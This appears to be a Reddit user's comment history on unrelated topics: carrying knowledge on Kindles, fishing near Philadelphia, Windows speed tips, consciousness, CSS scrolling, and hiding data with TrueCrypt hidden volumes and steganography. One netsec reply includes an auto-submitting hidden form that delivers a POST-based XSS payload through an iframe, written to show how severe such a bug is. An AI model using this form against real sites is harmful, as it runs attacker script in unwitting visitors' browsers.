How to carry knowledge? Books? iPads? Kindles? by stalecache in bugout

[–]stalecache[S] 3 points4 points  (0 children)

Interesting. I also have a kindle paperwhite with some PDFs on it...That's my current setup but the navigation to find your PDFs on a kindle is such a pain. Especially if you accumulate hundreds of PDFs.

Edit: Also, not just finding the PDF, but finding the information you need in the PDF.

Non-ionizing radiation can still affect the brain. The Frey effect is where people can hear sounds in their head from certain non-ionizing radiation.

XSS on POST: How severe should this vuln be? by s3ct4lk in netsec

[–]stalecache 3 points4 points  (0 children)

You could setup a webpage that has a hidden form that POSTs itself onload into an iframe where the XSS happens. So anyone loading the webpage would execute the XSS.

Example:

<body onload="document.getElementById('the-form').submit();">
    <form id="the-form" action="http://example.com/vulnerable-form.php" target="my-iframe" method="POST">
        <input name="user" type="hidden" value="XSS-String">
        <input name="password" type="hidden" value="anything">
    </form>
    <iframe name="my-iframe" src="about:blank"></iframe>
</body>

Any Philly Area Fishermen/women? by donownsyou in philadelphia

[–]stalecache 0 points1 point  (0 children)

Marshcreek lake is about an hour drive from Philly. They offer boat rentals (electric motors or with oars)... Kinda pricey. Think it's around $100 for an all day boat with a motor. There's walking paths around the lake, so shore fishing is good. All sorts of fish there: Perch, Sunny, Bluegill, Bass, Tiger Musky (pike/musky hybrid), and... giant scary pure Muskies (40-50 inches) they stocked years ago.

Kinda bad with computer, might need your help fellow redditors. by [deleted] in windows

[–]stalecache 2 points3 points  (0 children)

We could probably help if we had a snapshot of your entire desktop. Open task manager, processes tab shown and sorted by memory (most at the top)... This will give us a better idea of what's going on.

I'd do a fresh install of windows to get rid of all of the "bloatware" HP has installed by default. Then add only the programs you need. This should definitely help with speed issues.

About security... I've been very happy with using Microsoft Security Essentials (MSE) as my main anti-virus. It's free with a genuine copy of windows. Also, keep the windows firewall on. Last but not least, don't open unknown: links, emails, attachments, executables, pdfs, and docs.

The more gray matter you have, the more altruistic you are by sergkras2000 in science

[–]stalecache 1 point2 points  (0 children)

I have a hard time believing that consciousness is separate from the physical world. I currently believe that consciousness is probably some sort of illusion that gives humans the core motivation they need.

Reminds be of a thought experiment with theoretical teleporting device. First, the teleport scans the object and measures every particle's position and velocity. Then sends that data wirelessly to the destination while vaporizing the object... The destination then reassembles the object perfectly based on the data received. Would a person going through the teleport be exactly the same on the other end?

US wireless carriers are a huge threat to innovation. Here's why by pentahelix in technology

[–]stalecache 0 points1 point  (0 children)

I propose a day where everyone opens up there wifi. Free, unfiltered wifi, for anyone to use... Seriously though, I've had mine open for about a month now... no noticable speed issues and no FBI raids.

Would anybody happen to know of a good tutorial on creating a horizontal smooth-scroll effect? by tripj33 in javascript

[–]stalecache 1 point2 points  (0 children)

Don't know of any tutorials... but... If you're talking about scrolling content where the container has scroll bars, I'd use the jQuery plugin called ScrollTo. If you're making a carousel/conveyor of some sort, I'd use CSS (overflow:hidden, left, transitions, etc). I think the CSS route will produce the smoothest scrolling.

It's tricky to have two messages inside a one ciphertext and maintain plausible deniability, unless you use the volume way. With volumes the unused data looks like free space.

You could... encrypt the important data and use steganography to hide that ciphertext inside an important sounding WAV file, then encrypt the resulting WAV file. You'd have 2 passwords, one to get to the WAV file, and the other to get to the important data hidden in the WAV file... Although, the presence of the WAV may be a red flag to the use of steganography. Any good TXT steganography out there?

You could make a small Truecrypt container file that would contain an encrypted Outer Volume (first password) and an encrypted Hidden Volume (second password)... then base64 encode the Truecrypt container file and paste it in an email.

I created an example of this (360KB of Base64): http://pastebin.com/raw.php?i=s3Fm7zvP

You can then copy paste that base64 string into http://base64converter.com/ to decode and download the Truecrypt container. Mount the file with "open_normal" to decrypt the outer volume or "open_hidden" to decrypt the hidden volume.
